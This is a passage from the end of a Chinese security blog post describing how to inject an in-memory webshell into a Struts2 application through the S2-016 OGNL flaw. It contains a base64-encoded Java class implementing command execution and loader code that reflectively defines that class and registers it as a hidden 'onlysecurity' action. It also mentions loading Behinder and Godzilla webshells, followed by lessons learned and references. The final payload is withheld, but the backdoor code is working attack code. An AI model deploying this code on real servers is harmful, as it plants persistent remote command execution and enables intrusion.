2xhbmcvUnVudGltZTsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEAE2phdmFzc2lzdC9DbGFzc1Bvb2wBAApnZXREZWZhdWx0AQAXKClMamF2YXNzaXN0L0NsYXNzUG9vbDsBAA9qYXZhL2xhbmcvQ2xhc3MBAAdnZXROYW1lAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXNzaXN0L0N0Q2xhc3M7AQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAEWphdmFzc2lzdC9DdENsYXNzAQAKdG9CeXRlY29kZQEABCgpW0IBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAEKEkpVgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TdHJpbmcBAAZsZW5ndGgBAAMoKUkAIQAXACEAAAAAAAMAAQAiACMAAQAkAAAALwABAAEAAAAFKrcAAbEAAAACACUAAAAGAAEAAAAQACYAAAAMAAEAAAAFACcAKAAAAAEAKQAqAAIAJAAAAJoABgADAAAATLgAAhIEtgAFwAAGTLgAAhIHtgAFwAAITSy5AAkBALsAClm4AAsrEgy5AA0CALYADrYAD7cAEBIRtgAStgATtgAULLkACQEAtgAVAbAAAAACACUAAAAWAAUAAAATAAwAFAAYABYAQQAXAEoAGAAmAAAAIAADAAAATAAnACgAAAAMAEAAKwAsAAEAGAA0AC0ALgACAC8AAAAEAAEAMAAJADEAMgACACQAAACpAAIABQAAADu4ABZMKxIXtgAYtgAZTbgAGk6yABsstgAcvrYAHS0stgActgAeOgSyABsZBLYAH7YAHbIAGxkEtgAgsQAAAAIAJQAAACIACAAAAB0ABAAfAA4AIQASACMAHQAkACcAJQAyACYAOgAnACYAAAA0AAUAAAA7ADMANAAAAAQANwA1ADYAAQAOAC0ANwA4AAIAEgApADkAPQADACcAFAA+AD8ABAAvAAAACAADAEAAQQBCAAIAQwAAAAIARAA8AAAACgABADoAZAA7AAk=";
ClassLoader loader = Thread.currentThread().getContextClassLoader();
System.out.println(loader);
byte[] decode = java.util.Base64.getDecoder().decode(s);
java.lang.reflect.Method var47 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
var47.setAccessible(true);
var47.invoke(loader, "com.demo.action.Cmd", decode, Integer.valueOf("0"), decode.length);
try {
java.lang.reflect.Constructor<?> constructor = Class.forName("com.opensymphony.xwork2.config.entities.ActionConfig").getDeclaredConstructor(new Class[]{String.class, String.class, String.class});
constructor.setAccessible(true);
java.util.LinkedHashMap o1 = (LinkedHashMap) obj5.get("");
o1.put("onlysecurity", constructor.newInstance("f0ng", "onlysecurity", "com.demo.action.Cmd"));
}catch (Exception e2) {
}
}catch (Exception e){
}
}
public static void main(String[] args, java.util.Map obj5) throws Exception {
hello aa = new hello(obj5);
}
}
编译成hello.class
那么把java.net.URLClassLoader
的赋值增加一个#this.class.getClassLoader()
,直接注内存马
如此丝滑!感谢su18师傅指导!
这里就不放payload了,把之前文章提及的payload进行赋值增加classloader即可。
顺带一提,这里base64的编码笔者是没有去变的,所以用的还是参考文章里struts2内存马里面的,这里如果要自定义类的话,可以使用poc2jar文件转码中的导出文件功能
保存完文件,拖到idea,直接能看到代码内容:
那么就可以注入冰蝎、哥斯拉等等方便操作的webshell了!再次感谢su18大佬提供的冰蝎马!
0x05 总结
-
内存马的知识了解甚少,一些基础知识需要去学习 -
不能根据所掌握的知识去攻击,应该去拓展自己的知识,如这里的struts2中的 #this
变量,之前是不知道的,当知道了以后,问题就迎刃而解了 -
class.forName是取决于类加载器的,之前是URLClassloader加载器,会在其中寻找类,而又是通过file协议加载,所以会报出来classnotfound的错误 -
捕捉到异常后,new String(Arrays.toString(e.getStackTrace()))可以将详细报错捕捉到,这里用到了写入文件进行调试实例化类时遇到的报错问题,方法比较蠢,但是有效
0x06 坑点
-
在 LinkedHashMap
对象赋值的时候,如果context是有后缀的,那么应该是obj5.get(“”),没有后缀的话,那么就是obj5.get(“/”)
0x07 参考
https://www.cnblogs.com/xiaozhiru/p/16163057.html 【Struts2 的内存马】
https://blog.csdn.net/xlgen157387/article/details/39735703 【Struts2的OGNL详解】
https://github.com/vulhub/vulhub/tree/master/struts2/s2-016 【Struts2 016环境】
原文始发于微信公众号(only security):步履维艰之Struts2内存马
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/204009.html